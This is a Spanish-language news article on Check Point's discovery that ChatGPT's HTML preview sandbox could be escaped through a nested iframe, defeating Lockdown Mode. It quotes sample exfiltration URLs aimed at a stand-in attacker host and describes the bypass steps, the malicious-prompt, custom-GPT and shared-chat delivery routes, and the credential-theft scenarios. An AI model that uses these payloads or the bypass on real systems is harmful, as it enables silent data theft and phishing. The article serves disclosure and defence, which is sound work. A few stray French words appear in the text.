IA

Lockdown Mode se saltaba con un iframe anidado: el fallo que devolvió la exfiltración silenciosa a ChatGPT

Check Point encontró un fallo en la vista previa de HTML de ChatGPT: dos permisos del sandbox permitían abrir una ventana fuera del aislamiento y saltarse Lockdown Mode, la función que corta la salida de datos de la conversación.

Fernando Luis

— 9 min read

ChatGPT tiene un interruptor pensado para una sola cosa: que los datos de tu conversación no salgan. Se llama Lockdown Mode, se activa en Ajustes, Seguridad, y su trabajo consiste en cortar de raíz los canales por los que una inyección de prompts podría llevar información sensible a un servidor controlado por el atacante. Es exactamente el tipo de función que un equipo de seguridad activa en cuanto trabaja con datos de clientes, contratos o historiales clínicos.

Investigadores de Check Point han encontrado que ese interruptor se podía saltar. El fallo estaba en la vista previa de HTML, una función de la aplicación de ChatGPT que no tiene nada que ver con la seguridad, y que abre la vía para que el historial completo de una conversación se copie a un servidor externo sin que el usuario vea absolutamente nada. OpenAI lo corrigió el 18 de septiembre de 2026, pero la historia merece algo más que la nota de prensa: es un ejemplo limpio de por qué la seguridad de un producto de IA no se puede medir por la calidad de sus controles, sino por la suma de todos ellos.

Qué es Lockdown Mode y qué promete exactamente

Lockdown Mode es un ajuste de seguridad avanzado y opcional, disponible para cuentas con sesión iniciada. OpenAI lo presentó en 2026 para los planes Enterprise y Edu y para las variantes Healthcare y Teachers, y el 4 de junio de 2026 lo extendió a las cuentas personales y a ChatGPT Business en autoservicio, donde se activa desde Ajustes, Seguridad, Seguridad avanzada. En los espacios de trabajo gestionados, en cambio, no es un simple interruptor: el administrador crea un rol de Lockdown Mode y lo asigna a los miembros o grupos que lo necesiten.

Cuando está activo, el efecto es amplio y determinista. La navegación web en vivo se limita a contenido en caché, de manera que no sale ninguna petición real a la red de OpenAI. Se dejan de mostrar imágenes descargadas de internet en las respuestas, aunque la generación de imágenes sigue disponible. Se desactivan Deep Research, Agent Mode, los conectores en vivo, la red de Canvas y las descargas de archivos. La memoria, los archivos que sube el usuario, la posibilidad de compartir una conversación y si esas conversaciones se usan para entrenar modelos no cambian, y el ajuste tampoco afecta al acceso a la red de Codex.

La palabra importante es determinista. La idea de diseño no es intentar detectar que una instrucción es maligna, algo que ningún sistema de reglas consigue de forma fiable, sino hacer que la operación peligrosa sea imposible: si no hay salida de red, no hay exfiltración.

Esta protección se apoya en una base que ya tenía capas. OpenAI documenta en su material sobre seguridad de enlaces que solo permite recuperar automáticamente direcciones que un índice independiente ya había visto publicadas en la web, con la idea de que una URL que ya existe de forma pública difícilmente llevará dentro datos privados de tu conversación. El ejemplo canónico es un atacante que consigue que el modelo cargue una imagen como esta:

https://atacante.example/collect?data=<dato privado>

La petición llega al servidor del atacante dentro de los registros de acceso del servidor, aunque en el chat no se vea nada sospechoso. Lockdown Mode es una capa más, por encima de esa: corta la salida, no el intento.

La superficie del ataque: la vista previa de HTML

El fallo no estaba en el modelo, ni en el motor de detección de instrucciones maliciosas, ni en la lista de dominios permitidos. Estaba en una función de comodidad.

En febrero de 2026 OpenAI añadió la vista previa de páginas HTML dentro de los bloques de código de ChatGPT: cuando el modelo escribe una página, la aplicación la renderiza en un iframe con aspecto de mini navegador. Es una capacidad muy útil para maquetar, para prototipar o para enseñar una tabla con estilos, y también una superficie enorme, porque significa renderizar HTML y JavaScript controlados por el atacante en el interior de la interfaz de la aplicación.

Los escenarios que un atacante intentaría de entrada eran cuatro, y están documentados en el informe de Check Point:

  • Una imagen externa con datos dentro de la URL, del tipo img src="https://atacante.example/?q=dato", que si llegara a renderizarse implicaría una exfiltración de cero clics.
  • Un enlace con contenido de suplantación, por ejemplo un ancla que dice "Descargar la actualización de ChatGPT" y apunta a un instalador.
  • Una ventana emergente con una URL arbitraria, abierta desde un enlace con target="_blank" o desde window.open, que en el cliente de escritorio de ChatGPT podría confundirse con una ventana legítima de la aplicación.
  • La lectura de cookies y del almacenamiento local (localStorage) de chatgpt.com, que supondría el compromiso completo de la sesión.

La respuesta de OpenAI fue un aislamiento en capas. El HTML renderizado se coloca dentro de un sandbox, separado del contexto principal de la aplicación, de modo que no puede acceder al documento padre, al estado de la interfaz, a las cookies ni al almacenamiento local de chatgpt.com. Además, cualquier intento de la página de cargar una imagen, un script, un recurso externo o de abrir una URL arbitraria se intercepta y se convierte en un aviso de aprobación para el usuario. Y los scripts del sandbox redefinían la función window.open para bloquear la apertura de ventanas.

Todo eso, menos un detalle.

El fallo: dos tokens de permiso en el atributo sandbox

El aislamiento no se apoyaba solo en el código. El iframe exterior de la vista previa declaraba en su atributo sandbox los tokens allow-popups y allow-popups-to-escape-sandbox. Son permisos del propio navegador, y su efecto es directo: el sandbox no restringe la apertura de ventanas emergentes y, además, las ventanas que se abran desde la página no heredan el aislamiento. El bloqueo de las ventanas emergentes no venía del permiso, sino de la redefinición de window.open que hacen los scripts del sandbox, que devuelve null y además no muestra ningún aviso al usuario cuando la URL está vacía o es about:blank.

Un control implementado en una capa, en lugar de en la capa inferior, se puede rodear. La forma de rodearlo es courte: se crea un iframe más dentro de la página ya renderizada y se llama a f.contentWindow.open("about:blank"). Ese open es el original del navegador, sin la redefinición, y funciona. La ventana se abre y, gracias a allow-popups-to-escape-sandbox, el contenido que se cargue dentro ya no se ejecuta dentro del sandbox.

El bypass completo cabe en tres líneas: crear un iframe, adjuntarlo al documento y llamar a f.contentWindow.open("about:blank"), mientras que la llamada directa a window.open sigue bloqueada. Es un bypass de sandbox clásico, de los que se estudian en cualquier curso de seguridad web, aplicado a un producto de IA.

Y hay un detalle que cambia el alcance de todo. El bypass no pasa por el modelo. Da igual por qué el HTML llegó al bloque de código: si se renderiza, el sandbox se cae. En una conversación compartida, en un GPT personalizado o en un prompt, lo único que cambia es quién puso el HTML, no lo que hace el modelo con él. El control que se saltaba no era un modelo de seguridad, era un permiso de plataforma.

Qué se puede hacer con una ventana que escapa del sandbox

Una vez que la ventana emergente se abre fuera del sandbox, el atacante controla su contenido por completo. Check Point demuestra tres scénarios distintos, y cada uno tiene un impacto diferente.

  • Exfiltración silenciosa de la conversación completa. En la aplicación de escritorio, conocida como ChatGPT Classic y construida sobre Electron, el window.open funciona sin que el usuario haga ningún gesto. Un GPT malicioso puede enviar en silencio todos los mensajes de la conversación y los archivos adjuntos al servidor del atacante, sin que aparezca ni una notificación. En el navegador sí hace falta un clic, pero la ventana ya está fuera del sandbox y puede cargar un recurso externo que se lleva la conversación.
  • Suplantación de la aplicación para entregar malware. La ventana abierta conserva el icono de ChatGPT, mientras que el título lo elige el atacante. El resultado puede ser un aviso de "Actualización de ChatGPT" dentro de una ventana que parece la aplicación. En el cliente de escritorio no se permiten las descargas automáticas, así que el usuario tiene que pulsar además el enlace; en el navegador no hay bloqueos de descarga automática y la víctima ni siquiera necesita tener cuenta.
  • Robo de credenciales mediante cierre de sesión forzado. La ventana también podía recargar contenido en la ventana principal de la aplicación y ejecutar ciertas acciones en nombre del usuario, entre ellas cerrar su sesión. Eso obliga a reautenticarse, y el atacante puede presentar la página de inicio de sesión controlada por él para capturar la contraseña y el segundo factor.

El primero es el peor para el usuario normal. El segundo y el tercero son los típicos, pero con una diferencia: la ventana parece de fiar porque hereda la identidad visual de la aplicación en la que el usuario confió.

Tres vías de entrega: prompt malicioso, GPT malicioso y chat compartido

El ataque no exige ningún canal de entrega en particular, y Check Point enumera tres. Un prompt malicioso, un GPT personalizado construido para la ocasión, o un chat compartido. En cualquiera de los tres, el contenido acaba en un bloque de código que se renderiza.

La vía del chat compartido es la que más se extiende, porque el único requisito para la víctima es abrir un enlace. En el navegador, con la descarga automática permitida, basta con que la persona abra una conversación compartida que contenga la página maliciosa y acepte la descarga. No hace falta cuenta, ni interacción con el modelo, ni saber que hay un problema.

Y aquí está la ironía que resume el caso: Lockdown Mode se diseñó precisamente para el escenario en el que un atacante consigue que el modelo o sus herramientas hagan peticiones salientes. El interruptor apagaba el canal. El bypass lo volvía a encender por una puerta que nadie había relacionado con la seguridad: la vista previa de HTML.

La corrección: 18 de septiembre, quitando dos permisos

Check Point declaró responsablemente el fallo a OpenAI. El 18 de septiembre de 2026, la compañía informó de que había desplegado una corrección que consiste precisamente en lo que la investigación señalaba: eliminar los tokens allow-popups y allow-popups-to-escape-sandbox del iframe exterior de la vista previa de HTML. Check Point volvió a probar la técnica después del parche y confirmó que ya no funcionaba.

Para quien usa ChatGPT hoy, la conclusión práctica es sencilla: la corrección está desplegada y basta con tener la aplicación actualizada. Para quien diseña productos de IA, la conclusión es la contraria: un proceso de revisión que solo mira las funciones etiquetadas como "seguridad" habría pasado por alto este fallo. La revisión de permisos de un sandbox debería incluir el HTML que el usuario, o un atacante, puede hacer que el modelo escriba.

Lo que hay que mirar aquí

El caso deja cinco lecciones que van bastante más allá de ChatGPT.

  • Las capacidades de conveniencia amplían la superficie de ataque. La vista previa de HTML se añadió para que los modelos pudieran mostrar páginas, no pensando en la seguridad. Cada función que hace que la aplicación "haga cosas" necesita el mismo escrutinio que las que se declaran como sensibles.
  • Los tokens del atributo sandbox son una política de permisos. allow-popups-to-escape-sandbox significa, literalmente, que las ventanas abiertas desde esa página no están aisladas. Es una regla de tipo firewall y merece leerse como tal, no como un detalle de implementación.
  • "Determinista" no significa invulnerable. Lockdown Mode garantiza que no habrá peticiones salientes del modelo; no garantiza que ninguna otra parte de la aplicación pueda hacerlas. Un control determinista sobre un canal sigue siendo solo tan determinista como la superficie que rodea a ese canal.
  • El interruptor no evita la inyección de prompts. La propia documentación de OpenAI es clara: Lockdown Mode no impide que una instrucción maliciosa aparezca en el contenido que el modelo procesa, ni que la respuesta sea incorrecta. Actúa sobre el último tramo, el de la salida. La inyección sigue entrando por la puerta de siempre.
  • En empresa, la lección es de arquitectura. Eli Smadja, responsable de investigación de Check Point, lo resume así: los controles de seguridad de la IA solo son tan fuertes como el entorno de aplicación que los rodea. El interruptor se enciende en el panel de seguridad, pero la vulnerabilidad estaba en la función de previsualización de páginas, y nadie los conectó.

La conclusión práctica para un equipo que va a usar IA con datos sensibles no cambia mucho: activar Lockdown Mode sigue siendo una buena idea, y ahora además conviene usar cuentas separadas para lo público y lo confidencial. Pero la decisión no debe apoyarse en la existencia de un interruptor, sino en el estado de la superficie completa.

No es el mismo fallo que el del enlace compartido

Conviene no confundir esta historia con otra que contamos aquí el 31 de octubre: el fallo por el que un enlace compartido de ChatGPT podía ejecutar código en la sesión de otra persona, publicado entonces por Parameter Labs. Son fallos distintos, de equipos distintos y con mecanismos distintos. Aquel atacaba el aislamiento de origen y la política de seguridad de contenido de los enlaces compartidos; este ataca los permisos del sandbox de la vista previa de HTML y, sobre todo, la promesa del propio Lockdown Mode. Pero la lección de fondo es la misma y por eso merece repetirse: en un producto de IA, cada superficie capaz de renderizar contenido ajeno es una puerta potencial, y la seguridad de la aplicación se decide en el punto más débil de esa cadena, no en el más visible.

Fuentes

Read more